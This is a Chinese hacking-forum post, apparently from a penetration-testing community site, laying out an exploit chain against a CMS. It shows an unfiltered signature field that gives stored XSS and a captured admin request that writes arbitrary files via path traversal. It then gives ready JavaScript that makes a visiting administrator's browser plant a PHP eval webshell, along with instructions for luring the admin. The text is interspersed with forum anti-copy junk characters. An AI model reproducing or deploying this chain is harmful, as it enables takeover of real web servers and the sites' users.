| 这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题. m2 }% k2 I8 Z/ X; x( L 官网已经修补了,所以重新下了源码+ Q9 K* n5 r$ e4 V 因为 后台登入 还需要认证码 所以 注入就没看了。1 w' M. a9 O5 n/ ~5 }% H 存在 xss 漏洞文件 user/member/skin_edit.php8 X) R' a6 e& L2 F3 l: X) k 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:. p4 s3 L, L3 u" A8 w- X </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> & k# I- C8 L( _5 c+ H' `: k8 F </textarea></td></tr> user/do.php 2 e1 L" b5 O: v + q1 m; e4 a U if($op=='zl'){ //资料 , ~% N2 {7 f. @7 K4 E7 T& p# `1 f if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) ; b7 l2 k" r9 W4 d exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);')); $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',' ^- n, n, f) C$ |3 D: \ ) y& \) t' J$ [. w* E: A# l, Q CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."' where CS_Name='".$cscms_name."'"; if($db->query($sql)){ 2 G v2 ^' J x exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);')); }else{ 5 A. y D1 ?. x9 n; E4 a exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);')); }6 h% k# }) p" |! N / ~, u1 m" B. K: Q * q. f' O" y9 X9 S9 S! D' n/ k6 A$ i 没有 过滤导致xss产生。; Z) c+ k4 Z& o. h: l! u/ _5 j 后台 看了下 很奇葩的是可以写任意格式文件。。9 B# z% c, R. d+ }! X 抓包。。 $ U O6 G8 C) I " C7 _2 T. U: | 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 Accept: text/html, application/xhtml+xml, */*9 i% e9 B; ?' s2 F1 G; L& X' F Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php Accept-Language: zh-CN + d8 c% t( {+ D; |" E User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)8 x8 I. @" t+ L+ z. u ( J+ N) N6 M: G: T$ z; P Content-Type: application/x-www-form-urlencoded0 L; W; r/ S+ _+ P" |- E4 B Accept-Encoding: gzip, deflate* s+ f$ o! j* k Host: 127.0.0.1, r ]% U8 m) s9 B) { Content-Length: 38 DNT: 1 Connection: Keep-Alive ! g9 I7 G i1 [# w6 j* H Cache-Control: no-cache! i1 M" a" ?0 M' b* D& \/ P , R3 b2 `2 p1 @# a. V Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655946 U; ?$ z( C, B1 {- T( i5 n + d2 j3 i) A& x+ w8 \0 y1 @/ D7 e2 Y! n $ x' J/ c* l# @8 F8 F' i; `) B name=aaa.php&content=%3Cs%3E%3Ca%25%3E # \, W/ k% Q8 e6 S) _5 |+ @ v9 O 于是 构造js如下。5 B3 d+ ]/ n: ^* w3 {; Z- v 7 g- b1 u% y9 P: d0 J+ J 本帖隐藏的内容<script> : ~5 [& D: S2 |" e; C E3 w+ L thisTHost = top.location.hostname;$ n" g, ]: ]) U9 c8 K$ ? thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";: C# l- v# p; E9 P _3 \7 d " D* ?4 \ c( n6 Z" \4 m function PostSubmit(url, data, msg) { 2 F" ~' @- e# r% H) J9 U var postUrl = url;+ C' K+ m, U) X | var postData = data; Y, {! j8 S3 E! _! c- ?" J var msgData = msg; var ExportForm = document.createElement("FORM"); document.body.appendChild(ExportForm); 9 p# d3 I8 O6 F* j ExportForm.method = "POST"; var newElement = document.createElement("input"); # }; f% d+ [; P# y newElement.setAttribute("name", "name"); newElement.setAttribute("type", "hidden"); ! T$ `. w: t, A# Y var newElement2 = document.createElement("input"); 5 W0 I" E$ W/ n+ G newElement2.setAttribute("name", "content"); " T! L2 O' ~ k1 _4 t; `. O# W newElement2.setAttribute("type", "hidden"); ExportForm.appendChild(newElement); & h: k* V/ k( ]( P# c+ m/ Z" V ExportForm.appendChild(newElement2); newElement.value = postData; newElement2.value = msgData; + x6 x( T" r/ g" L' g7 n4 _0 y3 Q8 g- P ExportForm.action = postUrl; ExportForm.submit(); ( n8 R; t: C0 |% D }; 8 y) Y: m K0 J, ~ PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");# H8 b, }6 i6 i( Z3 i# {6 a5 i </script>7 {# Q7 o1 W8 k1 y Z# _: M; e http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入3 K0 U" L) [% O7 Z7 N 用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改) 就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |